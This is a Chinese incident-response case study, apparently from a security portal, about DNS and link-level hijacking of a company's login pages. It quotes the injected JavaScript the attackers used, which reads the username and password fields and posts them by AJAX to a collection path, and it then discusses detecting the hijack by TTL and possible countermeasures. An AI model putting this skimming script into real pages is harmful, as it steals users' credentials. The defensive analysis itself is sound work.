“企业应急响应和反渗透”之真实案例分析
0x06 案例之永无止境的劫持
对于劫持我想大家都不陌生,我们在生活中比较常见到的就是运营商在页面中插入广告等代码,这种就是一种劫持攻击。
回到案例本身,我们的一个业务先后出现多次多种手段的劫持攻击,一次是 dns 劫持,把业务的域名劫持到 61.* 这个 ip 上,另外一次是链路劫持,替换服务器返回给用户的 http 响应内容,这两次的目的都一样就是在登录口添加 js 代码,用于窃取用户的用户名和明文密码。我们另外一个业务也遭受链路劫持,直接替换客户投放的广告代码,给业务造成很大的经济损失。
下面两个图是我们业务监控系统和基调的截图,上面的图可以很明显看到在 9:30 用户登录成功数明显下降,持续不到一个小时,下图是全国部分地区基调的数据,可以看到域名被明显劫持到 61 这个 ip,这是一次典型的 DNS 攻击。
页面中被插入的攻击核心代码
- //获取用户名和密码
- function ffCheck() {
- try {
- try {
- var u = null != f ? f.idInput.value : document.getElementById("idInput").value;
- } catch (e) {
- var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");
- }
- var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;
- if (u.indexOf("@") == -1) u += "@xxx.com";
- try {
- if (u.indexOf("@") == -1) uu = u + getdomain();
- } catch (e) {}
- sendurl("/abc", u, p, "coremail");
- } catch (e) {}
- return fOnSubmit();
- }
- 通过 ajax 发送出去
- function sendurl(uri, u, p, i) {
- xmlHttp = GetXmlHttpObject();
- if (xmlHttp == null) {
- return;
- }
- param = "user=" + u + "&pass=" + p + "&icp=" + i;
- xmlHttp.onreadystatechange = stateChanged;
- try {
- xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);
- } catch (e) {}
- xmlHttp.setRequestHeader("If-Modified-Since", "0");
- xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xmlHttp.send(param);
- }
接下来看下面两张图片
这是一次典型的链路劫持攻击,通过 ttl 就能够判断,攻击的结果和前面提到的 dns 劫持攻击类似,插入恶意 js 代码来获取用户的用户名和密码。
对于劫持攻击的处理过程,首先是判断是什么攻击,对于链路劫持目前的链路劫持好像大部分都是旁路的攻击方式,就可以通过 ttl 来定位,默认的 ttl 值很好判断,如果可以修改的 ttl 值,可以通过递增或者递减 ttl 的方式来判断,dns 劫持就是判断攻击方式是什么,哪些 dns 受影响,劫持的 ip 是什么运营商,劫持后做了什么事情。
其次是解决攻击,一般根据劫持的情况去联系运营商,联系有关部门等,但是然并卵,有的功能投诉很有效,比如劫持广告代码,有的攻击则没有任何作用,比如注入 js 代码获取用户名和密码。
其实我们能做的毕竟有限,完善监控,当劫持发生的时候能够第一时间获知,甚至提醒用户当前环境有劫持的风险,对部分业务使用 https,但是我觉得都不能根治这些问题。怎么才能解决劫持问题,我没有好的解决方案,在这里我把这类案例分享出来是希望能够和各位进一步探讨。
0x07 总结
总结这里我就不打算写太多,我觉得有几个大的方向作为指导:
从业务角度,保障业务肯定是应急响应的前提;
从对抗角度,知己知彼百战不殆;
从技术角度,只有更多的了解攻击才能更好的做到防御;
责任编辑:大云网
-
发电电力辅助服务营销决策模型
2019-06-24电力辅助服务营销 -
绕过安卓SSL验证证书的四种方式
-
网络何以可能
2017-02-24网络